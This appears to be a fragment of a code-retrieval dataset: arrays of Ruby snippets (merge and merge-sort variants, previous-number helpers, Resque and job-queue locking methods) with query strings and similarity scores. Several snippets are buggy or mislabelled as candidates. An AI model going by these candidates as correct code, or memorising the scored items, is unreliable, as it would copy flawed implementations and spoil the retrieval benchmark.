"def merge left, right\n result = []\n until (left + right).empty?\n begin\n result << left.shift if left[0] <= right[0]\n result << right.shift if left[0] > right[0]\n rescue\n result << right.shift if left.empty? && !right.empty?\n result << left.shift if right.empty? && !left.empty?\n end\n end\n result\nend",
"def merge(arr1, arr2)\n arr1 = arr1.dup\n arr2 = arr2.dup # duplicate to prevent mutation of original array\n result = []\n until arr1.empty? && arr2.empty?\n if arr1.empty?\n result << arr2.shift\n elsif arr2.empty?\n result << arr1.shift\n else\n if arr1[0] <arr2[0]\n result << arr1.shift\n else\n result << arr2.shift\n end\n end\n end\n result\nend",
"def merge_sort(array)\n length_of_array = array.length\n\n if length_of_array < 2\n sorted_array = array\n return sorted_array\n end\n\n array_half_a = array.slice(0, (length_of_array.to_f / 2).round)\n array_half_b = array.slice((length_of_array.to_f / 2).round, length_of_array / 2)\n sorted_array_a = merge_sort(array_half_a)\n sorted_array_b = merge_sort(array_half_b)\n merged_sorted_array = []\n index_array_a = 0\n index_array_b = 0\n\n while index_array_a < sorted_array_a.length && index_array_b < sorted_array_b.length\n if sorted_array_a[index_array_a] < sorted_array_b[index_array_b]\n merged_sorted_array << sorted_array_a[index_array_a]\n index_array_a += 1\n else\n merged_sorted_array << sorted_array_b[index_array_b]\n index_array_b += 1\n end\n end\n\n merged_sorted_array += if index_array_a == sorted_array_a.length\n sorted_array_b.slice(index_array_b, sorted_array_b.length)\n else\n sorted_array_a.slice(index_array_a, sorted_array_a.length)\n end\n\n merged_sorted_array\nend",
"def merge(arr1, arr2)\r\n merged_array = []\r\n arr1.each do |x|\r\n merged_array << x unless merged_array.include?(x)\r\n end\r\n arr2.each do |x|\r\n merged_array << x unless merged_array.include?(x)\r\n end\r\n merged_array\r\nend",
"def merge_sort(array1, array2)\n # write your code here\n complete_array = array1 + array2\n return complete_array if complete_array.length < 2\n \n switch = true \n while switch do\n switch = false\n (0...complete_array.length - 1).each do |i|\n if complete_array[i] > complete_array[i + 1]\n complete_array[i], complete_array[i + 1] = complete_array[i + 1], complete_array[i]\n switch = true\n end\n end\n end\n complete_array\nend",
"def merged_sort(arr)\n return arr if arr.length <= 1\n left_arr = arr[0...arr.length/2]\n right_arr = arr[arr.length/2..-1]\n \n combine(merged_sort(left_arr), merged_sort(right_arr))\nend",
"def merge_sorted(a, b)\n idx1 = 0\n idx1 += 1 until a[idx1 + 1].nil?\n idx2 = b.length - 1\n \n curr_idx = a.length - 1 - (a.length - (idx1 + idx2 + 2))\n \n while curr_idx >= 0\n if idx1 < 0 || (b[idx2] > a[idx1] && idx2 >= 0)\n a[curr_idx] = b[idx2]\n idx2 -= 1\n else\n a[curr_idx] = a[idx1]\n idx1 -= 1\n end\n\n curr_idx -= 1\n end\n a\nend",
"def sort_and_merge( arr1, arr2 )\n\n sorted_array = []\n\n while arr1.any? && arr2.any?\n if arr1[0] < arr2[0]\n sorted_array.push( arr1[0] )\n arr1.shift\n else\n sorted_array.push( arr2[0] )\n arr2.shift\n end\n end\n\n while arr1.any?\n sorted_array.push( arr1[0] )\n arr1.shift\n end\n\n while arr2.any?\n sorted_array.push( arr2[0] )\n arr2.shift\n end\n\n return sorted_array\nend",
"def merge(array1, array2)\n new_array = []\n\n array1.each do |v|\n new_array << v\n end\n array2.each do |v|\n new_array << v\n end\n\n new_array.uniq!.sort\nend",
"def merge_sort_merge(left, right)\n sorted = []\n until left.empty? || right.empty?\n if left[0] <= right[0]\n sorted << left.shift\n else\n sorted << right.shift\n end\n end\n sorted += left + right\n sorted\n end",
"def merge_sort array\n size = array.size\n if size < 2\n array\n else\n merge_array = array.each_slice((size/2.0).round).to_a\n array_a = merge_sort(merge_array[0])\n array_b = merge_sort(merge_array[1])\n new_array = []\n a = 0\n b = 0\n while new_array.size != size\n if array_a.nil? || array_a[a].nil?\n return new_array += array_b[b..-1]\n elsif array_b.nil? || array_b[b].nil?\n return new_array += array_a[a..-1]\n elsif array_a[a] < array_b[b]\n new_array << array_a[a]\n a += 1\n else\n new_array << array_b[b]\n b += 1\n end\n end\n end\nend",
"def merge(left, right)\n prc ||= Proc.new {|x,y| x <=> y}\n result = []\n until left.empty? || right.empty?\n if prc.call(left[0],right[0]) == -1\n result << left.shift\n elsif prc.call(left[0], right[0]) == 1\n result << right.shift\n else \n result << left.shift\n end\n end\n result + left + right\nend",
"def merge(left, right)\n\tresult = []\n\n\tuntil left.empty? and right.empty?\n\t\t# Remove next minimum element from the corresponding\n\t\t# array and add it to result\n\t\tif right.empty? or (left.any? and left.first <= right.first)\n\t\t\tresult << left.shift\n\t\telse\n\t\t\tresult << right.shift\n\t\tend\n\tend\n\n\tresult\nend",
"def merge(array1, array2, merged_array=[])\n len_of_a1 = array1.length #Get length of arrays and compare to the array's index\n len_of_a2 = array2.length\n index1 = 0 #Set the starting index for both arrays - always 0 since we are going left to right.\n index2 = 0\n\n while index1 < len_of_a1 and index2 < len_of_a2 #This loop continues until the end of one of the arrays is reached\n if array1[index1] < array2[index2] #It compares the index values of both arrays, and appends the one that is lower in value\n merged_array << array1[index1]\n index1 += 1\n else\n merged_array << array2[index2]\n index2 += 1\n end\n end\n\n if index1 < len_of_a1 #Appends any remaining values to the merged array\n merged_array += array1[index1..-1] \n elsif index2 < len_of_a2\n merged_array += array2[index2..-1]\n end\n merged_array #Returns the merged array\n end",
"def merge(array1, array2, merged_array=[])\n len_of_a1 = array1.length #Get length of arrays and compare to the array's index\n len_of_a2 = array2.length\n index1 = 0 #Set the starting index for both arrays - always 0 since we are going left to right.\n index2 = 0\n\n while index1 < len_of_a1 and index2 < len_of_a2 #This loop continues until the end of one of the arrays is reached\n if array1[index1] < array2[index2] #It compares the index values of both arrays, and appends the one that is lower in value\n merged_array << array1[index1]\n index1 += 1\n else\n merged_array << array2[index2]\n index2 += 1\n end\n end\n\n if index1 < len_of_a1 #Appends any remaining values to the merged array\n merged_array += array1[index1..-1] \n elsif index2 < len_of_a2\n merged_array += array2[index2..-1]\n end\n merged_array #Returns the merged array\n end",
"def combine_arrays(arr1, arr2)\r\n combo = arr1 + arr2 # and unsorted combo of arr1 and arr2\r\n check = true # sets the tesing value to true\r\n\r\n while check # runs loop if check is true\r\n check = false # for each loop, sets check to. this would stop the loop if combo[i + 1] != nil && combo[i] > combo[i + 1] was not met\r\n\r\n combo.each_index do |i| # loop through all elements in combo. again, could have used #each_index without x.\r\n if combo[i + 1] != nil && combo[i] > combo[i + 1] # safeguarding against nil comparison, checking if the element above combo[i] is smaller\r\n combo[i], combo[i + 1] = combo[i + 1], combo[i] # if so, the values are exchanged using the indices within combo.\r\n check = true # if adjusting was needed, reset check to true so the loop runs again.\r\n end\r\n end\r\n end\r\n\r\n combo # returns the newly sorted array.\r\nend",
"def merge_sort(array)\n return [] if array.empty?\n return array if array.count == 1\n retu_arr = []\n left = array[0...(array.length/2)]\n right = array[(array.length/2)..-1]\n left_sort = merge_sort(left)\n right_sort = merge_sort(right)\n \n puts \"left sort is #{left_sort}\"\n puts \"right sort is #{right_sort}\"\n \n while left_sort.empty? == false && right_sort.empty? == false\n if left_sort.first < right_sort.first\n retu_arr << left_sort.shift\n else\n retu_arr << right_sort.shift\n end\n end\n if left_sort.empty? == false\n retu_arr.concat(left_sort)\n elsif right_sort.empty? == false\n retu_arr.concat(right_sort)\n end\n puts \"retu arr is : #{retu_arr}\"\n retu_arr\n\nend",
"def merge(array1, array2)\n composite_array = []\n index1 = 0\n index2 = 0\n \n loop do\n if index1 == array1.size\n index2.upto(array2.size - 1) { |index| composite_array << array2[index] }\n break\n elsif index2 == array2.size\n index1.upto(array1.size - 1) { |index| composite_array << array1[index] }\n break\n end\n \n first_item = array1[index1]\n second_item = array2[index2]\n if first_item <= second_item\n composite_array << first_item\n index1 += 1\n else\n composite_array << second_item\n index2 += 1\n end\n end\n \n composite_array\nend",
"def merge(left, right, &prc)\nmerged_array = []\nprc ||= Proc.new { |num1, num2| num1 <=> num2 }\nuntil left.empty? || right.empty?\n case prc.call(left.first, right.first)\n when -1\n merged_array << left.shift\n when 0\n merged_array << left.shift\n when 1\n merged_array << right.shift\n end\nend\n\nmerged_array + left + right\nend",
"def merge(arr1, arr2)\n new_array = []\n arr2.each { |e| arr1 << e} \n arr1.each { |e| new_array << e unless new_array.include?(e)}\n new_array\nend",
"def merge_sort(array)\n total_length = array.length\n size = 2\n while size < total_length + 1\n sorted_array = []\n array.each_slice(size).to_a.each do |group|\n slice1 = group[0...(group.length / 2)]\n slice2 = group[(group.length / 2)..-1]\n combined = []\n \n while slice1.length > 0 || slice2.length > 0\n \n if slice1.empty? == false\n if slice2.empty? || slice1.first < slice2.first\n combined << slice1.shift\n elsif slice1.first == slice2.first\n combined << slice1.shift\n combined << slice2.shift\n else\n combined << slice2.shift\n end\n \n elsif slice2.empty? == false\n if slice1.empty? || slice2.first < slice1.first\n combined << slice2.shift\n elsif slice1.first == slice2.first\n combined << slice1.shift\n combined << slice2.shift\n else\n combined << slice1.shift\n end\n end\n end\n sorted_array << combined\n end\n array = sorted_array.flatten\n size += 2\n end\n p array\nend",
"def merge(left, right)\n results = []\n until left.length == 0 || right.length == 0\n if left.first.first < right.first.first\n results.push(left.shift)\n else\n results.push(right.shift)\n end\n end\n results.concat(left).concat(right)\nend",
"def merging(multi_array)\n multi_array.sort_by! { |x| x.length } # Sorting: E.g. arrays of lengths 7, 8, 9, 10: in the next step (15,9,10) we want to merge 9 and 10!\n temp = merge(multi_array[0], multi_array[1])\n 2.times { multi_array.shift }\n multi_array.unshift(temp)\n unless multi_array.length == 1\n merging(multi_array) # Recursive\n end\n multi_array\nend",
"def merge(arr1, arr2)\n new_arr = arr1 + arr2\n return new_arr if arr1.empty? || arr2.empty?\n index = 0\n loop do\n current = new_arr[index]\n while new_arr[index+1..-1].include? current\n new_arr.delete_at(new_arr.rindex(current))\n end\n index += 1\n break if index >= new_arr.size\n end\n new_arr\nend",
"def merge1(array1, array2)\r\n index2 = 0\r\n result = []\r\n\r\n array1.each do |value|\r\n while index2 < array2.size && array2[index2] <= value\r\n result << array2[index2]\r\n index2 += 1\r\n end\r\n result << value\r\n end\r\n\r\n result.concat(array2[index2..-1])\r\nend",
"def merge(left, right)\n result = []\n\n while !left.empty? && !right.empty?\n if left.first <= right.first\n result << left.shift\n else\n result << right.shift\n end\n end\n # Append the leftovers\n result.concat(left).concat(right)\nend",
"def merge(first, second)\n\tmerged = []\n\t\n\tfirst_length = first.length\n\tsecond_length = second.length\n\n\t# compare the first items of both input arrays\n\t# slice the lowest value off the front and stick it in the merged array\n\t# repeat until the merged array is filled up\n\tloop do\t\n\t\tif ( min(first[0], second[0]) == first[0] )\t\t\t\t\n\t\t\tmerged << first.shift\n\t\telsif ( min(first[0], second[0]) == second[0] )\n\t\t\tmerged << second.shift\n\t\tend\n\n\t\tbreak if merged.length == first_length + second_length\n\tend\n\n\tmerged\nend",
"def merge(arr1, arr2)\n\tmerged_arr = []\n\tuntil arr1.empty? or arr2.empty?\n\t\tif arr1.first <= arr2.first\n\t\t\tmerged_arr << arr1.shift\n\t\telse\n\t\t\tmerged_arr << arr2.shift\n\t\tend\n\tend\n\treturn merged_arr.concat(arr1).concat(arr2)\nend",
"def combine_arrays(arr1, arr2)\r\n combo = arr1 + arr2 # and unsorted combo of arr1 and arr2\r\n length = combo.length\r\n sort = [] # set up array variable for eventual return.\r\n\r\n while sort.length < length # loops until an equal amount of elements are pushed to sort as exist in combo. this is unncessary.\r\n combo.each.with_index do |x, i| # loop through all elements in combo. again, could have used #each_index without x.\r\n if combo[i + 1] != nil && combo[i] > combo[i + 1] # safeguarding against nil comparison, checking if the element above combo[i] is smaller\r\n combo[i], combo[i + 1] = combo[i + 1], combo[i] # if so, the values are exchanged using the indices within combo.\r\n end\r\n end\r\n\r\n sort.unshift(combo.pop) # add as the first element of sort the last element of the already sorted combo array\r\n end # upon review, this may violate the exercises restrictions.\r\n\r\n sort # returns the sorted array after sort.length == combo.length\r\nend",
"def merge_sorted_arrays(arrays, &comparator)\n merged_items = []\n heap = Containers::Heap.new([], &comparator)\n cursor_arrays = arrays.map { |a| ArrayWithCursor.new(a) }\n cursor_arrays.each { |ca| heap.push(ca.get, ca) }\n until heap.empty?\n cursor_array = heap.pop\n merged_items.push(cursor_array.get)\n cursor_array.next!\n heap.push(cursor_array.get, cursor_array) unless cursor_array.done?\n end\n merged_items\nend",
"def merge(array1, array2)\n merged = []\n\n iterator1 = ArrayIterator.new(array1)\n iterator2 = ArrayIterator.new(array2)\n\n while iterator1.has_next? && iterator2.has_next?\n # Push the smallest value into \"merged\"\n puts \"Iterator1: #{iterator1.item} | Iterator2: #{iterator2.item}\"\n if iterator1.item < iterator2.item\n merged << iterator1.next_item\n puts merged\n else\n merged << iterator2.next_item\n end\n puts iterator2.next_item\n\n # Pick up array1 leftovers\n while iterator1.has_next?\n merged << iterator1.next_item\n end\n\n # Pick up array2 leftovers\n while iterator2.has_next?\n merged << iterator2.next_item\n end\n\n merged\n end\nend",
"def combine(a, b)\n\tsorted = []\n\twhile a.length != 0 && b.length != 0\n\t\ta[0] < b[0] ? (sorted << a.shift) : (sorted << b.shift)\n\tend\n a.length == 0 ? (sorted += b) : (sorted += a)\n\treturn sorted\nend",
"def merge(arr1, arr2)\n sorted_array = []\n first_pointer = 0\n second_pointer = 0\n while(first_pointer < arr1.size && second_pointer < arr2.size)\n if(arr2[second_pointer] >= arr1[first_pointer])\n sorted_array.push(arr1[first_pointer])\n first_pointer += 1\n else \n sorted_array.push(arr2[second_pointer])\n second_pointer += 1\n end\n end\n while(first_pointer < arr1.size)\n sorted_array.push(arr1[first_pointer])\n first_pointer += 1\n end\n while(second_pointer < arr2.size)\n sorted_array.push(arr2[second_pointer])\n second_pointer += 1\n end\n \n return sorted_array\nend",
"def combine(left, right)\n\t# create a results array\n results = []\n\t# counters pointing to the index of the smallest elements in each array\n\t# check that we have elements to compare\n while right.length > 0 && left.length > 0\n\t\t# push the smaller element onto the result array\n if right[0] <= left[0]\n results.push(right[0])\n right.delete_at(0)\n elsif left[0] < right[0]\n results.push(left[0])\n left.delete_at(0)\n end\n end\n # if there are elements left over in a, move them to result\n if !right.empty?\n results.push(right)\n # if there are elements left over in b, move them to result\n elsif !left.empty?\n results.push(left)\n end\n return results.flatten\n\t# if there are elements left over in a, move them to result\n\t# if there are elements left over in b, move them to result\nend",
"def merge_sort(collection)\n if collection.length <= 1\n collection\n else\n mid = (collection.length / 2).floor\n left = merge_sort(collection[0..mid - 1])\n right = merge_sort(collection[mid..collection.length])\n merge(left, right)\n end\n end",
"def merge(a, b)\n merged = []\n until a.empty? || b.empty?\n # Grab the smaller of the two, move it into the result\n if a.first <= b.first\n merged << a.shift # Pops first element out of \n else\n merged << b.shift\n end\n end\n # Append final remaining element\n merged += a += b\nend",
"def merge(array1, array2)\n merged = []\n\n iterator1 = EnumeratorAdaptor.new(array1.to_enum)\n iterator2 = EnumeratorAdaptor.new(array2.to_enum)\n\n while (iterator1.has_next? and iterator2.has_next?)\n if iterator1.item < iterator2.item\n merged << iterator1.next_item\n else\n merged << iterator2.next_item\n end\n end\n\n # Pick up the leftovers from array1\n while (iterator1.has_next?)\n merged << iterator1.next_item\n end\n\n # Pick up the leftovers from array2\n while (iterator2.has_next?)\n merged << iterator2.next_item\n end\n\n merged\nend",
"def merge(left, right)\n if left.empty?\n right\n elsif right.empty?\n left\n elsif left.first < right.first\n [left.shift] + merge(left, right)\n else\n [right.shift] + merge(left, right)\n end\n end"
] |
[
"0.77788734",
"0.76593477",
"0.7489594",
"0.74631876",
"0.74030876",
"0.73905665",
"0.73739326",
"0.7349967",
"0.73142356",
"0.7302784",
"0.7251725",
"0.7204347",
"0.7201919",
"0.72010374",
"0.7198709",
"0.71880394",
"0.7166777",
"0.7146192",
"0.7130812",
"0.7120994",
"0.71093804",
"0.70979995",
"0.70745903",
"0.7070945",
"0.7069027",
"0.7062477",
"0.70597434",
"0.70596975",
"0.70516634",
"0.7009044",
"0.6992336",
"0.69874394",
"0.6984241",
"0.6978955",
"0.6964092",
"0.6952513",
"0.6951764",
"0.6950453",
"0.69468087",
"0.6944112",
"0.693919",
"0.6939072",
"0.69344664",
"0.6926458",
"0.6924345",
"0.69176596",
"0.6909331",
"0.6887189",
"0.6878338",
"0.6861683",
"0.6859988",
"0.6857689",
"0.6842988",
"0.6835179",
"0.6828577",
"0.6827216",
"0.68269324",
"0.6819035",
"0.6812083",
"0.6808376",
"0.68054044",
"0.68030554",
"0.680295",
"0.67871535",
"0.6765915",
"0.6765881",
"0.67510515",
"0.67423856",
"0.67332083",
"0.6732582",
"0.6721262",
"0.6719041",
"0.67152184",
"0.6711875",
"0.6701229",
"0.66927683",
"0.6692607",
"0.6689125",
"0.6689021",
"0.6678312",
"0.66778594",
"0.6670374",
"0.6670335",
"0.6667999",
"0.6663762",
"0.66625077",
"0.66580594",
"0.6656791",
"0.665639",
"0.6651512",
"0.6645457",
"0.66436625",
"0.664101",
"0.6638377",
"0.6632738",
"0.6631518",
"0.66313696",
"0.6630491",
"0.6626078",
"0.6610326"
] |
0.6983743
|
33
|
number The Integer to check the previous Integer. Examples next_number(4) => 3 Returns the previous integer.
|
def previous_number(number)
return number - 1
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def previous_number(number)\n return number - 1 \nend",
"def previous_number(number)\n return number-1\nend",
"def previous_number(number)\n if !number.is_a?(Integer)\n return false\n else \n return number-1\n end\nend",
"def previous_number(num)\n return num - 1\nend",
"def previous_number(num)\n return num - 1\nend",
"def previous_number(num)\n return num - 1\nend",
"def previous_number(num)\n return num - 1\nend",
"def prev_number(number)\n return number -= 1\nend",
"def previous_number(input)\n output = 0\n output = input - 1\n \n return output\n end",
"def next_number(number)\n return number +1\nend",
"def prev_num(num1)\n return num1 + 1\nend",
"def next_number(number)\n number.to_i\n return number+=1\nend",
"def next_number(number)\n return number += 1\nend",
"def next_number(num)\n num + 1\n end",
"def next_number(number)\n\n return number + 1\n\nend",
"def next_number(number)\n output = number + 1\n return output\nend",
"def next_number(num)\n return num + 1\nend",
"def next_number(num)\n return num + 1\nend",
"def next_number(num)\n return num + 1\nend",
"def next_number(num)\n return num + 1\nend",
"def previous_version( number )\n find( :first, :order => 'number DESC', :conditions => [ \"number < ?\", number ] )\n end",
"def next_number(num)\n return num += 1\nend",
"def next_number(number)\n if number.even?\n number / 2\n else\n 3 * number + 1\n end\nend",
"def get_next_number\n if project && number.blank?\n last_invoice_number = Invoice.where(:project_id => project.id).max(:number)\n self.number = last_invoice_number ? ((last_invoice_number + 1).to_i) : 1\n end\n end",
"def next_number\n process_next_block if @numbers.empty?\n\n @numbers.shift\n end",
"def next_check_number\n\t\tmaximum = cash_bank_check_offereds.maximum(\"number\")\n\t\t(maximum ? maximum+1 : initial_check_number).to_s\n\tend",
"def next_num(num)\n return num + 1\nend",
"def get_actual_number(number)\n if number >= 31\n return number + 2\n else\n return number + 1\n end\n end",
"def previous(n=1)\n self - n\n end",
"def previous_badge(number)\n return nil if number == lowest_badge[:level]\n select_by_level(number - 1)\n end",
"def at_least(number)\n -number.to_i - 1\n end",
"def return_int(number)\n if number == number.to_i\n number = number.to_i\n else\n number = number\n end\n end",
"def prev_page_number\n [page_number - 1, first_page_number].max\n end",
"def next_number\n Sequence.next_val\n end",
"def next_sequence_number!\n sequence_number && @sequence_number += 1\n end",
"def next_sequence_number\n last_sequence_number ? last_sequence_number.next : 0\n end",
"def next_number(n)\n n.even? ? n/2 : 3*n+1\nend",
"def generate_next(number)\n if number == 0\n return 0\n elsif number == 1\n return 1\n else\n next_element = generate_next(number-1) + generate_next(number-2)\n end\n return next_element\nend",
"def next_version( number )\n find( :first, :order => 'number ASC', :conditions => [ \"number > ?\", number ] )\n end",
"def prev_page\n num = current_page - 1\n num if num.positive?\n end",
"def next_page_number\n [page_number + 1, last_page_number].min\n end",
"def previous\n versionable.versions.previous_version( self.number )\n end",
"def prev\n prev? ? @current - 1 : nil\n end",
"def previous_page\n return if page == 1\n page - 1\n end",
"def next_number\n counter.call(files.last_number).to_s\n end",
"def next_step_number\n progress = current_progress\n progress ? current_progress.step.number + 1 : 0\n end",
"def previous\n\t first? ? nil : locate - 1\n\tend",
"def previous_page\n return nil if total_pages < 1\n return nil if page == 1\n return page - 1\n end",
"def count_down(num)\n p num;\n count_down(num - 1)\n end",
"def tricky_number\n\tif true\n\t\tnumber = 1\n\telse\n\t 2\n\tend\nend",
"def highest_prime_number_under(number)\n start = number - 1\n start.downto(1) do |num|\n if is_prime?(num)\n return num\n end\n end\n end",
"def previous_page_number\n Hash(previous_page_params).fetch('page', {}).fetch('number', nil)\n end",
"def input_to_index(number)\n index = number.to_i\n index = index - 1\nend",
"def previous!\n counter_rotate!.first\n end",
"def previous_sibling(num = 1, scope = {})\n scope[:limit] = num\n siblings = previous_siblings(scope)\n num == 1 ? siblings.first : siblings\n end",
"def solution(number)\n ans = 0\n (3...number).step(3) {|n| ans += n}\n (5...number).step(5) {|n| n % 3 == 0 ? next : ans += n}\n return ans\nend",
"def up_number\n unless number\n if Invoice.count == 0\n self.number = '001'\n else\n last_invoice = Invoice.order(:number).last\n self.number = last_invoice.number.succ\n end\n end\n end",
"def previous\n return @page - 1\n end",
"def count_down(number)\n\tif number <= 0\n\t\tputs number\n\telse \n\t\tputs number\n\t\tnumber -= 1\n\t\tcount_down(number)\n\tend\nend",
"def previous\n validates_possibility_of :previous\n self.index -= 1\n self.current\n end",
"def days_before(number, date)\n current_date = date\n\n until number <= 0\n number -= 1 if active?(current_date.prev_day)\n current_date = current_date.prev_day\n end\n\n current_date\n rescue NoMethodError\n p 'provided data is not of valid type'\n nil\n end",
"def previous_question\n if @question.question_type == \"quiz\"\n @previous_question = @question.id - 10\n if @previous_question < 0\n @previous_question = @previous_question + 69\n end\n elsif @question.question_type == \"self-guided\"\n if @question.id > 71\n @previous_question = @question.id - 1\n end\n end\n end",
"def previous_step\n self.step_flow.previous_step if can_decrement_step\n end",
"def previous_page\n current_page == 1 ? nil : current_page - 1\n end",
"def prev_page\n page - 1 if pages.include?(page - 1)\n end",
"def previous_page\n current_page == 1 ? nil : current_page - 1\n end",
"def previous_page\n @current_page - 1 if has_previous_page?\n end",
"def highest_prime_number_under(number)\n until is_prime?(number)\n number -= 1\n end\n number\nend",
"def print_up_to(number)\n current_number = 1\n while current_number <= number\n puts current_number\n current_number += 1\n end\n end",
"def previous\n layout.rows[number-1] unless first?\n end",
"def previous_page\n current_page > 1 ? (current_page - 1) : nil\n end",
"def previous_page\n current_page > 1 ? (current_page - 1) : nil\n end",
"def forward(number = 1)\n `History.go(number)`\n end",
"def previous_page\n current_page > 1 ? (current_page - 1) : nil\n end",
"def previous_page\n current_page > 1 ? (current_page - 1) : nil\n end",
"def previous_page\n current_page > 1 ? (current_page - 1) : nil\n end",
"def previous_page\n current_page > 1 ? (current_page - 1) : nil\n end",
"def previous_page\n current_page > 1 ? (current_page - 1) : nil\n end",
"def previous_page\n @current_page > 1 ? (@current_page - 1) : nil\n end",
"def fibonacci_v3(number)\n if number < 2\n number\n else\n fibonacci_v3(number - 1) + fibonacci_v3(number - 2)\n end\nend",
"def input_to_index(num)\n return num.to_i - 1\n end",
"def previous_page\n current_page > 1 ? (current_page - 1) : nil\n end",
"def previous_page\n current_page > 1 ? (current_page - 1) : nil\n end",
"def previous_page\n current_page > 1 ? (current_page - 1) : nil\n end",
"def prev_page\n p = page - 1\n p < 1 && p = nil\n p\n end",
"def highest_prime_number_under(number)\n prime = number - 1\n counter = 1\n until is_prime?(prime)\n prime -= 1\n end\n return prime\n end",
"def back(number = 1)\n `History.go(-number)`\n end",
"def next_page_number\n last_page? ? nil : current_page_number + 1\n end",
"def prev_prime(n=1)\n apply(n, &:get_prev_prime)\n end",
"def number(nth)\n if nth <= 0\n 0\n elsif nth == 1\n 1\n else\n number(nth - 1) + number(nth - 2)\n end\n end",
"def smallest_paledrome(original_num)\n paledrome = (original_num + 1).to_s\n return paledrome if paledrome.eql?(paledrome.reverse)\n number = original_num\n until paledrome.eql?(paledrome.reverse) do\n number += 1\n paledrome = number.to_s\n return paledrome if paledrome.eql?(paledrome.reverse)\n end\nend",
"def current_page_number\n (previous_page_number.to_i + 1).to_s\n end",
"def countdown_to_0(number)\n puts number\n if number > 0\n number -= 1\n countdown_to_0(number)\n end\nend",
"def previous(node)\n priors(node).last\n end",
"def tricky_number\n if true\n number = 17\n else\n 2\n end\nend",
"def check(number)\n \n end",
"def calculate_prev\n p = @current_page - 1\n p <= 0 || p > @total_pages ? nil : p\n end",
"def cheat number\n if number > 0 && number < 7\n @numberShowing = number\n return true\n end\n return false\n end",
"def tricky_number\n if true\n number = 1\n else\n 2\n end\nend"
] |
[
"0.80320346",
"0.7950997",
"0.78540874",
"0.7842809",
"0.7842809",
"0.7842809",
"0.7842809",
"0.7803432",
"0.7368506",
"0.7184595",
"0.71002287",
"0.7099398",
"0.7064013",
"0.70106345",
"0.69623196",
"0.6933945",
"0.6791052",
"0.6791052",
"0.6791052",
"0.6791052",
"0.6752294",
"0.67157304",
"0.66558516",
"0.66343474",
"0.662665",
"0.6543645",
"0.65244216",
"0.63655365",
"0.63432866",
"0.6336263",
"0.62711376",
"0.625491",
"0.62316155",
"0.6207138",
"0.60851365",
"0.60799867",
"0.6063331",
"0.606229",
"0.6031095",
"0.6022382",
"0.60212016",
"0.60159487",
"0.5961389",
"0.5958021",
"0.5899995",
"0.58996177",
"0.5894498",
"0.58779836",
"0.5873751",
"0.58726835",
"0.5860845",
"0.5845248",
"0.5816163",
"0.5815366",
"0.5814611",
"0.579051",
"0.57846284",
"0.5734729",
"0.5726907",
"0.5723612",
"0.572235",
"0.57154125",
"0.5712302",
"0.5709289",
"0.57077575",
"0.56842035",
"0.567872",
"0.5665975",
"0.5657286",
"0.56485504",
"0.56461453",
"0.56461453",
"0.56438285",
"0.56425333",
"0.56425333",
"0.56425333",
"0.56425333",
"0.56425333",
"0.56424344",
"0.5637531",
"0.5635787",
"0.5629614",
"0.56290245",
"0.56290245",
"0.5622409",
"0.56224",
"0.56176156",
"0.5615647",
"0.5610183",
"0.56020004",
"0.5598663",
"0.5595184",
"0.55886996",
"0.5587833",
"0.5587707",
"0.55759233",
"0.557207",
"0.5571966",
"0.55716777"
] |
0.81083083
|
1
|
Override in your job to control the workers lock key.
|
def lock_workers(*args)
"#{name}-#{args.to_s}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def lock(worker)\n NotImplementedError\n end",
"def lock(key)\n raise NotImplementedError\n end",
"def with_lock(key)\n raise NotImplementedError\n end",
"def lock(worker)\n return true if locked? && locked_by == worker.name\n #all this to make sure the check and the lock are simultanious:\n cnt = repository.update({properties[:lock_name]=>worker.name},self.class.all(:id=>self.id,:lock_name=>nil))\n if 0 != cnt\n @lock_name = worker.name\n true\n else\n worker.say( \"Worker #{worker.name} Failed to aquire lock on job #{id}\" )\n false\n end\n end",
"def lock_key(*arguments)\n nil\n end",
"def lock_workers(*args)\n \"workerslock:#{name}-#{args.to_s}\"\n end",
"def redis_lock_key(*args)\n ['lock', self.class.name, identifier(*args)].compact.join(':')\n end",
"def lock(opts={})\n super\n end",
"def lock(opts={})\n super\n end",
"def lock(opts={})\n super\n end",
"def worker_key; worker_options && worker_options[:worker_key]; end",
"def job_key; Thread.current[:job_key]; end",
"def lock_next(worker)\n NotImplementedError\n end",
"def before_perform_workers_lock(*args)\n if lock_workers(*args)\n workers_lock = get_lock_workers(*args)\n if Resque.redis.incr(workers_lock) <= concurrent_workers(*args)\n Resque.redis.expire(workers_lock, worker_lock_timeout(*args))\n elsif\n count = Resque.redis.decr(workers_lock) \n if count.to_i > 0 && Resque.redis.ttl(workers_lock) < 0\n Resque.redis.expire(workers_lock, worker_lock_timeout(*args))\n end\n sleep(requeue_perform_delay)\n Resque.enqueue(self, *args)\n raise Resque::Job::DontPerform\n end\n end\n end",
"def lock_exclusively!(max_run_time, worker)\n now = self.class.db_time_now\n if locked_by != worker\n # We don't own this job so we will update the locked_by name and the locked_at\n self.locked_at = now\n self.locked_by = worker\n end\n\n true\n end",
"def lock_list\n super\n end",
"def lock!; end",
"def before_perform_lock(*args)\n if lock_workers(*args)\n nx = Resque.redis.setnx(lock_workers(*args).to_s, true)\n if nx == false\n sleep(requeue_perform_delay)\n Resque.redis.del(lock_enqueue(*args).to_s)\n Resque.enqueue(self, *args)\n raise Resque::Job::DontPerform\n end\n end\n end",
"def lock_key(tracking_key)\n parts = tracking_key.split(\".\")\n \"concurrent.lock.#{parts[2..-1].join('.')}\"\n end",
"def lock_redis\n @lock_redis ||= ActiveJobLock::Config.redis\n end",
"def good_job_concurrency_key\n @good_job_concurrency_key || _good_job_concurrency_key\n end",
"def lock\n end",
"def __object_lock_key\n @key ||= \"this.#{object_id}\".to_sym\n end",
"def lock_status(opts)\n opts = check_params(opts,[:lock_names])\n super(opts)\n end",
